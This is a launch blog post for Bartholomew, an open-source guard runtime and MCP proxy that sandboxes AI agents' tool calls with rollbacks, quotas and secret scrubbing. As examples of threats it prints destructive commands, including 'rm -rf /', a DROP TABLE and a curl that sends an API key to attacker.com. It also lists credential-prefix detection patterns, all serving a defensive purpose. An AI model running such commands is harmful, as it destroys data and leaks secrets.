How We Built Sub-Microsecond OS Gating and CoW Rollbacks

Building Sub-Microsecond OS Event Gating and Micro-Rollbacks for AI Agents

published: true

tags: ai, opensource, python, security

canonical_url: https://bartholomew.info

If you build autonomous agents with LangChain, AutoGen, CrewAI, or the Model Context Protocol (MCP), you have likely faced the dilemma of granting LLMs execution authority over real filesystems, databases, terminals, and OS desktop interfaces.

A single hallucination, prompt injection, or malformed tool argument can trigger catastrophic state mutations:

bash
rm -rf /
DROP TABLE production_users;
curl -H "Authorization: Bearer sk-proj-..." https://attacker.com

Most developers attempt to mitigate this in one of three ways:

Remote LLM Moderation Filters: Adds 1,000ms to 2,500ms of cloud latency to every single tool invocation while remaining susceptible to prompt injection.
Heavy Container Virtualization (Docker / MicroVMs): Adds substantial RAM overhead, cold start delays, and complex orchestration.
Negative Regex String Filters: Blocks bad patterns with hard exceptions (403 Forbidden), leaving orphaned files on disk and triggering endless agent hallucination loops.
We approached this from database transactional theory: What if agent execution was treated as an atomic, reversible micro-transaction operating at sub-microsecond machine speed?

Today, we are launching Bartholomew (BTP v2.5) as an open-source execution runtime and MCP proxy for Python and Node.js with sub-microsecond OS event gating, Copy-on-Write micro-rollbacks, and recursive swarm containment.

The Four Engineering Primitives
1. Sub-Microsecond OS Computer-Use Gating (0.95 µs)
As frontier models gain native desktop "computer use" (synthetic mouse clicks, drag vectors, window focus shifts, and keystrokes), Bartholomew intercepts actions before they dispatch to the OS display server. Coordinates and keystrokes are evaluated against prohibited system bounding boxes in 0.95 microseconds, allowing real-time event filtering at over 1,000,000 evaluations/second.

2. In-Memory Copy-on-Write Micro-Rollbacks
Rather than waiting for an agent to permanently damage disk state, Bartholomew captures an in-memory state snapshot of target paths prior to any mutating tool call (write_file, patch_code, execute_command).

If the tool attempts a directory traversal outside the workspace root (os.path.commonpath) or violates an AST invariant:

The pristine filesystem state is restored in milliseconds.
Orphaned files created during the attempt are immediately unlinked.
The agent receives a constructive diagnostic recovery hint rather than a fatal crash, allowing the LLM to self-correct its parameters on the next turn.
3. Recursive Swarm Quota Conservation
When an orchestrator agent recursively spawns sub-agents, token budgets undergo geometric attenuation: Total Swarm Quota <= Root Quota < Infinity. Parent quota is decremented upon child creation, mathematically eliminating runaway multi-agent loops and infinite API spend.

4. Bi-Directional In-Flight Secret Scrubbing (0.82 µs)
Security requires preventing credential leakage in both directions:

Inbound Tool Arguments: Prevents users or agents from passing sensitive keys downstream.
Outbound Server Outputs: Redacts API keys echoed in tool stdout or error traces before they reach the model's context or observability logs.
Supported patterns include OpenAI (sk-proj-), Anthropic (sk-ant-), AWS Access Keys (AKIA), and GitHub Personal Access Tokens (ghp_), backed by Shannon entropy heuristics.

Quickstart
1. Interactive Terminal Demo (Zero Install)
Inspect the proxy mechanisms directly in your terminal:

bash
npx btp-guard
2. Python Integration
Install from PyPI:

bash
pip install btp-guard
Wrap any tool function or agent action:

python
import os
from btp_guard import Guard
guard = Guard(spend_cap=100.0)
@guard.protect
def run_shell_command(cmd: str):
    return os.system(cmd)
3. Claude Desktop & Cursor Integration
Route your local MCP tools through Bartholomew:

bash
npx btp-guard init

Resources & Links
Bartholomew is fully open-source under dual Apache 2.0 / BSL licensing.